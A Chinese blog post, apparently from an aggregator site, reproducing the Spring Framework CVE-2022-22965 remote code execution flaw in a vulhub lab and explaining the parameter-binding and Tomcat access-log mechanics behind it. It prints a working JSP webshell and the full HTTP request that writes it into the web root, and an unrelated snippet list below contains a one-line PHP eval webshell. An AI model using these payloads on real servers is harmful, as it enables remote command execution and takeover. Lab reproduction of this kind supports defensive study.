CVE-2022-22965 Spring Framework远程命令执行

news2024/12/24 2:20:43

0x01 影响版本

Spring Framework < 5.3.18
Spring Framework < 5.2.20
JDK>9

0x02 复现环境

vulhub/spring/cve-2022-22965

0x03 漏洞复现

首先docker-compose up -d开启靶场
在这里插入图片描述
输入payload

<%
   if("j".equals(request.getParameter("pwd"))){
   	java.io.InputStream in = Runtime.getRuntime().exec(
   		request.getParameter("cmd")
   	).getInputStream();
   	int a = -1; 
   	byte[] b = new byte[2048]; 
   	while((a=in.read(b))!=-1){
		out.println(new String(b)); 
   	} 
   } 
%>

在这里插入图片描述

GET /?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%{c2}i if("j".equals(request.getParameter("pwd"))){ java.io.InputStream in = %{c1}i.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1){ out.println(new String(b)); } } %{suffix}i&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat= HTTP/1.1
Host: 192.168.92.162:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) 	AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 		Safari/537.36
Connection: close
suffix: %>//
c1: Runtime
c2: <%
DNT: 1
Content-Length: 8

访问jsp代码
在这里插入图片描述
漏洞复现成功

0x04 漏洞分析

1、SpringMVC参数绑定

为了避免需要编写大量的代码从HttpServletRequest中获取数据,SpringMVC会根据Controller方法的参数自动完成类型转换和赋值。

在这里插入图片描述

如图,该Controller方法调用的类为User类。
在这里插入图片描述

User类中开放了对name的操作,并且调用Department类
在这里插入图片描述

Department类开放了对name的操作。
开启项目后请求/addUser?name=test&department.name=SEC时,参数如下
在这里插入图片描述
可以看到:
(1)name自动绑定到了User中的name上
(2)department.name通过User.getDepartment()->Department.setName()绑定
综上,假如请求名为A.B.C.D且Controler入参为P,则调用链为:
P.getA()->A.getB()->B.getC()->C.setD()
SpringMVC通过WebDataBinder.doBind(MutablepropertyValues) 实现参数绑定

2、Java Bean PropertyDescriptor

PropertyDescriptor是JDK自带的java.beans包下的类,意为属性描述器,用于获取符合Java Bean规范的对象属性和get/set方法。

	Class<?> getPropertyType() // 获取属性的java类型对象
	Method getReadMethod() // 获得用于读取属性值的方法
	Method getWriteMethod() // 获得用于写入属性值的方法
	void setReadMethod(Method readMethod) // Sets the method that should be used to read the property value.
	void setWriteMethod(Method writeMethod) //Sets the method that should be used to write the property value.

PropertyDescriptor实际上就是Java Bean的属性和对应get/set方法的集合。

3、Tomcat AccessLogValve 和 access_log

Tomcat的Valve用于处理请求和响应,通过组合了多个Valve的Pipeline,来实现按次序对请求和响应进行一系列的处理。其中AccessLogValve用来记录访问日志access_log。Tomcat的server.xml中默认配置了AccessLogValve,所有部署在Tomcat中的Web应用均会执行该Valve,内容如下:
在这里插入图片描述

下面列出配置中出现的几个重要属性: - directory:access_log文件输出目录。 - prefix:access_log文件名前缀。 - pattern:access_log文件内容格式。 - suffix:access_log文件名后缀。 - fileDateFormat:access_log文件名日期后缀,默认为.yyyy-MM-dd。

4、payload分析
%{c2}i if("j".equals(request.getParameter("pwd"))){ java.io.InputStream in = %{c1}i.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1){ out.println(new String(b)); } } %{suffix}i

通过AccessLogValve输出的日志中可以通过形如%{param}i等形式直接引用HTTP请求和响应中的内容。引用了包中的header
在这里插入图片描述

class.module.classLoader.resources.context.parent.pipeline.first.pattern=jspcode
class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp
class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT
class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar
class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=

调用链最终为:
在这里插入图片描述

pattern:文件内容
suffix:文件后缀名
directory:文件输出目录,设为webapps/ROOT即为根目录,localhost:8080/xxx文件可以直接访问
prefix:文件名
fileDateFormat:将AccessLogValue.fileDateFormat设为空,文件名不含日期

0x05 漏洞修复

在这里插入图片描述

1、判断调用的类名是否是安全的类名
2、限制了调用类时只允许调用Name

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1138616.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Transformer在计算机视觉领域的研究综述

论文地址&#xff1a;https://kns.cnki.net/kcms/detail/11.2127.TP.20221009.1217.003.html 目录 摘 要 1. Transformer 基本结构 1.1 位置编码 (1) 绝对位置编码 (2) 相对位置编码 1.2 自注意力机制 (1) 多头注意力 (2) 局部注意力 (3) 稀疏注意力机制 1.3 前馈神…

通信仿真软件SystemView安装教程(超详细)

介绍 system view是一种电子仿真工具。它是一个信号级的系统仿真软件&#xff0c;主要用于电路与通信系统的设计和仿真&#xff0c;是一个强有力的动态系统分析工具&#xff0c;能满足从数字信号处理&#xff0c;滤波器设计&#xff0c;直到复杂的通信系统等不同层次的设计&am…

SQL注入类型(详细讲解)

SQL注入方法(函数原理讲解) 前言 在进行SQL注入测试的时候&#xff0c;确实很重要要知道目标SQL语句是什么类型&#xff0c;因为不同类型的SQL语句对注入的有效载荷&#xff08;payload&#xff09;有不同的语法要求。下面列举了几个原因&#xff1a; 1. 语法闭合 你提到了…

“可编程网络”的基础概念介绍

什么是可编程网络&#xff1f; 可编程网络是指网络设备的行为和流量控制由独立于网络硬件运行的软件处理的网络。可编程网络的基本性质是将底层物理硬件与设备的控制软件分开。 网络可编程的历史 当可编程网络的概念首次出现时&#xff0c;它是计算机网络发展史上革命性的一…

Specializing Smaller Language Models towards Multi-Step Reasoning论文精读

0 Abstract 普遍认为&#xff0c;LLM涌现出来的few-shot learning能力是超大参数模型独有的&#xff08;>100B&#xff09;【emergent abilities】&#xff1b;作者认为&#xff0c;小模型&#xff08;<10B&#xff09;可以将这些能力从大模型&#xff08;>100B&…

【HTML/CSS学习】margin和padding的区别

1. margin margin&#xff08;外边距&#xff09;属性定义元素周围的空间。 margin主要在元素的外部创建空白区域&#xff0c;用于分隔元素与其相邻元素之间的距离。 用处&#xff1a;可以用于调整两个元素之间的间隔。 2. padding padding&#xff08;填充&#xff09;定义…

dcrcms 文件上传漏洞

dcrcms 文件上传漏洞 启动环境 启动靶场得到ip和映射端口 测试漏洞 输入http://10.9.47.6:14153/dcr进入后台 账号密码为admin:123456 寻找文件上传漏洞 看到添加新闻里有文件上传我们尝试进行上传 写一个php文件里面放入一句话木马 <?php eval($_REQUEST[666]); ?…

C++前缀和算法的应用:用地毯覆盖后的最少白色砖块 原理源码测试用例

本文涉及的基础知识点 C算法&#xff1a;前缀和、前缀乘积、前缀异或的原理、源码及测试用例 包括课程视频 题目 给你一个下标从 0 开始的 二进制 字符串 floor &#xff0c;它表示地板上砖块的颜色。 floor[i] ‘0’ 表示地板上第 i 块砖块的颜色是 黑色 。 floor[i] ‘1…

警务可视化 玫瑰图和柱折混合图

什么时候用&#xff0c;什么时候导入echarts 完整代码&#xff1a; 搭建页面结构的代码 html <template><h2>智慧公安数字服务系统</h2><div><div class"container1"> </div> <div class"container2"></di…

【golang】Windows环境下Gin框架安装和配置

Windows环境下Gin框架安装和配置 我终于搞定了Gin框架的安装&#xff0c;花了两三个小时&#xff0c;只能说道阻且长&#xff0c;所以写下这篇记录文章 先需要修改一些变量&#xff0c;这就需要打开终端&#xff0c;为了一次奏效&#xff0c;我们直接设置全局的&#xff1a; …

vue3后台管理系统

项目创建及代码规范化开发 vue脚手架创建项目 安装vue脚手架 npm install-g vue/cli npm update -g vue/cli终端输入vue create 项目名称 即可进入模板选择 //利用vue-cli创建项目 进入模板选择 Vue CLI v5.0.8 ? Please pick a preset:Default ([Vue 3] babel, eslint)De…

LabVIEW开发基于图像处理的车牌检测系统

LabVIEW开发基于图像处理的车牌检测系统 自动车牌识别的一般步骤是图像采集、去除噪声的预处理、车牌定位、字符分割和字符识别。结果主要取决于所采集图像的质量。在不同照明条件下获得的图像具有不同的结果。在要使用的预处理技术中&#xff0c;必须将彩色图像转换为灰度&am…

【每日一题】切割后面积最大的蛋糕

文章目录 Tag题目来源题目解读解题思路方法一&#xff1a;排序 其他语言python3 写在最后 Tag 【排序】【数组】【2023-10-27】 题目来源 1465. 切割后面积最大的蛋糕 题目解读 切割后面积最大的蛋糕。 解题思路 方法一&#xff1a;排序 本题较为简单&#xff0c;找出最大…

Figma是什么软件?有哪些优势和劣势?

Figma作为目前最受欢迎的设计软件&#xff0c;在国外受到UI设计师的广泛好评。如果你还对Figma感到困惑&#xff0c;不知道它在做什么&#xff0c;那么今天将为您详细介绍Figma软件&#xff0c;以帮助您快速理解和更好地使用它。 Figma软件基本介绍 简单来说&#xff0c;Figm…

全网最全 Pandas的入门与高级教程全集,都在这里了!(PDF下载)

Pandas是Python中的重要数据分析工具&#xff0c;它提供了强大的数据结构和函数&#xff0c;用于数据清洗、探索、准备和分析。 Pandas 的DataFrame和Series使数据处理更加简单&#xff0c;可通过各种方法和工具处理大型数据集。 这个开源库支持从多种数据源加载数据&#xff0…

在线音乐网站-基于SSM实现+源码和技术实现文档

源码和文档下载地址: https://juzhendongli.store/commodity/details/6 百度云盘中存储有。

【求教】老菜鸟遇到新问题,双bug欢迎有緣人答疑

文章目录 一&#xff0c;序二&#xff0c;需求三&#xff0c;代码实现1. 代码结构2. 完整代码备份 四&#xff0c;bug1 详情1. 运行准备1. &#xff09;将 application.yml 文件active设置为test2.&#xff09;修改jdbc-mysql.properties 数据库参数设为实际值3.&#xff09;注…

CGAL 5.6 - Halfedge Data Structures

1 Introduction 半边数据结构&#xff08;缩写为 HalfedgeDS&#xff0c;模板参数缩写为 HDS&#xff09;是一种以边为中心的数据结构&#xff0c;能够维护顶点、边和面的入射信息&#xff0c;例如平面地图、多面体或其他嵌入任意维度的可定向二维曲面。每条边被分解成两个方向…

012:计算影线长度占比

怎么说呢&#xff0c;我希望得到一个数据&#xff0c;就是某个K线的影线长短。可以这样算&#xff0c;用高点和低点的差值作为分母&#xff0c;开盘价和收盘价的差值的绝对值作为分子&#xff0c;得出的值得越大&#xff0c;说明影线越长&#xff0c;影线越长&#xff0c;说明上…

【递归、搜索与回溯算法】第七节.257. 二叉树的所有路径和46. 全排列

作者简介&#xff1a;大家好&#xff0c;我是未央&#xff1b; 博客首页&#xff1a;未央.303 系列专栏&#xff1a;递归、搜索与回溯算法 每日一句&#xff1a;人的一生&#xff0c;可以有所作为的时机只有一次&#xff0c;那就是现在&#xff01;&#xff01;&#xff01;&am…